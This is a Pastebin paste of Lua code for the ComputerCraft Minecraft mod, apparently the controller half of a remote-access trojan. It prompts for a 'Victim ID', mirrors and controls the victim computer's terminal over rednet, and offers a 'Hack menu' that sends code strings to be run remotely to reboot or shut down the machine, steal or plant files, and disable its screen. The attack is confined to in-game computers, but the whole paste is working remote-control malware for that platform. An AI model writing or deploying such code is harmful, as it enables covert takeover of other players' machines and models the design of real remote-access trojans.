Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- term.clear()
- term.setCursorPos(1, 1)
- term.write("Victim ID: ")
- client = tonumber(read())
- local sides = {"top", "bottom", "left", "right", "front", "back"}
- lastre = {}
- onm = false
- local stx, sty = term.getSize()
- function rec()
- repeat
- event, id, msg = os.pullEvent()
- until id == client and event == "rednet_message"
- local typey = ""
- for i = 1, #msg do
- if string.sub(msg, i, i) == ":" then
- typey = string.sub(msg, 1, i-1)
- break
- end
- end
- return typey, textutils.unserialize(string.sub(msg, #typey+2))
- end
- function ports()
- for i,v in pairs(sides) do
- if peripheral.isPresent(v) and peripheral.getType(v) == "modem" then
- rednet.open(v)
- end
- end
- end
- function send(bef, msg)
- rednet.send(client, bef..":"..textutils.serialize(msg))
- end
- function check(fl, ms)
- if fl == "blink" then
- term.setCursorBlink(ms[1])
- elseif fl == "write" then
- term.write(ms[1])
- elseif fl == "clear" then
- term.clear()
- elseif fl == "cursorpos" then
- term.setCursorPos(ms[1], ms[2])
- elseif fl == "textcol" then
- term.setTextColor(ms[1])
- elseif fl == "backcol" then
- term.setBackgroundColor(ms[1])
- elseif fl == "scroll" then
- term.scroll(ms[1])
- elseif fl == "clearline" then
- term.clearLine()
- elseif fl == "past" then
- for i,v in pairs(ms) do
- local typey = ""
- for i = 1, #v do
- if string.sub(v, i, i) == ":" then
- typey = string.sub(v, 1, i-1)
- break
- end
- end
- check(typey, textutils.unserialize(string.sub(v, #typey+2)))
- end
- end
- end
- function start()
- send("new", {})
- while true do
- if onm == true then break end
- pcall(function()
- local fl, ms = rec()
- check(fl, ms)
- end)
- end
- end
- function clear()
- term.clear()
- term.setCursorPos(1, 1)
- end
- function drawlist(title, listr, num)
- clear()
- term.setTextColor(colors.lime)
- local list = {}
- print(title.."\n")
- for i,v in pairs(listr) do
- list[i] = v
- end
- local start = 1
- local last = #list
- if num > sty - 4 then
- start = num - (sty - 4)
- end
- local cnt = 0
- for i = start, #list do
- if cnt > sty - 4 then
- last = last - 1
- cnt = cnt - 1
- end
- cnt = cnt + 1
- end
- for m = start, last do
- local tor = true
- if tor == true then
- if m == num then
- term.setTextColor(colors.white)
- write("[")
- term.setTextColor(colors.lime)
- write("-")
- term.setTextColor(colors.white)
- write("]")
- term.setTextColor(colors.lime)
- print(" "..list[m])
- else
- term.setTextColor(colors.white)
- print("[ ] "..list[m])
- end
- end
- end
- end
- function getKey()
- local rt = nil
- function lop()
- local e, a1 = os.pullEvent("key")
- if a1 == 200 then
- rt = "up"
- elseif a1 == 208 then
- rt = "down"
- elseif a1 == 28 then
- rt = "enter"
- else
- lop()
- end
- end
- lop()
- repeat sleep(0) until rt ~= nil
- return rt
- end
- function ch(title, list)
- clear()
- local ind = 1
- local lcopy = list
- drawlist(title, lcopy, ind)
- local rt = nil
- cycle = function()
- local ke = getKey()
- if ke == "up" then
- if ind > 1 then
- ind = ind - 1
- else
- ind = #list
- end
- drawlist(title, lcopy, ind)
- cycle()
- elseif ke == "down" then
- if ind < #list then
- ind = ind + 1
- else
- ind = 1
- end
- drawlist(title, lcopy, ind)
- cycle()
- elseif ke == "enter" then
- rt = ind
- end
- end
- cycle()
- repeat sleep(0) until rt ~= nil
- return ind
- end
- function getFile()
- local ret = nil
- local curd = ""
- function lp()
- local tbl = {".."}
- for i,v in pairs(fs.list(curd)) do
- print(v)
- table.insert(tbl, v)
- end
- local tcurd = curd
- if curd == "" then
- tcurd = "/"
- end
- local rut = ch("Directory: "..tcurd, tbl)
- if rut == 1 then
- if curd ~= "" then
- local newd = curd
- local lastr = 1
- for i = 1, #newd do
- if string.sub(newd, i, i) == "/" then
- lastr = i
- end
- end
- curd = string.sub(newd, 1, lastr-1)
- lp()
- end
- elseif fs.isDir(curd.."/"..tbl[rut]) then
- local ecurd = curd.."/"
- if curd == "" then
- ecurd = "/"
- end
- curd = ecurd..tbl[rut]
- lp()
- elseif not fs.isDir(curd.."/"..tbl[rut]) then
- local fb = fs.open(curd.."/"..tbl[rut], "r")
- ret = {tbl[rut], fb.readAll()}
- fb.close()
- else
- lp()
- end
- end
- lp()
- repeat sleep(0) until ret
- return ret
- end
- function remotelist(tolist)
- send("fslist", {tolist})
- repeat
- fl, msg = rec()
- until fl == "list"
- return msg
- end
- function remoteid(tolist)
- send("fsisdir", {tolist})
- repeat
- fl, msg = rec()
- until fl == "isdir"
- return msg
- end
- function remoteget(tolist)
- send("fsopen", {tolist})
- repeat
- fl, msg = rec()
- until fl == "open"
- return msg
- end
- function getRemoteFile()
- local ret = nil
- local curd = ""
- function lp()
- local tbl = {".."}
- for i,v in pairs(remotelist(curd)) do
- table.insert(tbl, v)
- end
- local tcurd = curd
- if curd == "" then
- tcurd = "/"
- end
- local rut = ch("Directory: "..tcurd, tbl)
- if rut == 1 then
- if tcurd ~= "" then
- local newd = curd
- local lastr = 1
- for i = 1, #newd do
- if string.sub(newd, i, i) == "/" then
- lastr = i
- end
- end
- curd = string.sub(newd, 1, lastr-1)
- if curd == "/" then curd = "" end
- lp()
- end
- elseif remoteid(curd.."/"..tbl[rut]) then
- local ecurd = curd.."/"
- if curd == "" then
- ecurd = "/"
- end
- curd = ecurd..tbl[rut]
- if curd == "/" then curd = "" end
- lp()
- elseif not remoteid(curd.."/"..tbl[rut]) then
- local fb = remoteget(curd.."/"..tbl[rut])
- ret = {tbl[rut], fb}
- else
- lp()
- end
- end
- lp()
- repeat sleep(0) until ret
- return ret
- end
- function menu()
- onm = true
- clear()
- term.setCursorBlink(false)
- local cnt = 10
- local rl = ch("Hack menu", {"Reboot", "Shutdown", "Upload file", "Download file", "Disable terminal", "Enable terminal", "Back"})
- if rl == 1 then
- send("hack", {"os.reboot()"})
- term.setTextColor(colors.lime)
- for i = 1, 3 do
- term.setCursorPos(1, cnt)
- write("Wait: "..3-(i-1))
- sleep(1)
- term.clearLine()
- end
- elseif rl == 2 then
- send("hack", {"os.shutdown()"})
- elseif rl == 3 then
- local fl = getFile()
- clear()
- send("file", {fl[1], fl[2]})
- elseif rl == 4 then
- local fl = getRemoteFile()
- local fb = fs.open(fl[1], "w")
- fb.write(fl[2])
- fb.close()
- elseif rl == 5 then
- send("hack", {[[
- oldwrt = term.write
- oldsetc = term.setCursorPos
- oldsetbcr = term.setBackgroundColor
- term.write = function() end
- term.setCursorPos = function() end
- term.setBackgroundColor = function() end
- ]]})
- elseif rl == 6 then
- send("hack", {[[
- term.write = oldwrt
- term.setCursorPos = oldsetc
- term.setBackgroundColor = oldsetbcr
- ]]})
- end
- onm = false
- start()
- end
- function get(_sFilter)
- local event, p1, p2, p3, p4, p5 = os.pullEventRaw(_sFilter)
- if event ~= "rednet_message" then
- if onm == false then
- send("event", {event, p1, p2, p3, p4, p5})
- end
- end
- if event ~= "terminate" then
- return event, p1, p2, p3, p4, p5
- else
- menu()
- end
- end
- sleep(0)
- ports()
- os.pullEvent = get
- start()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement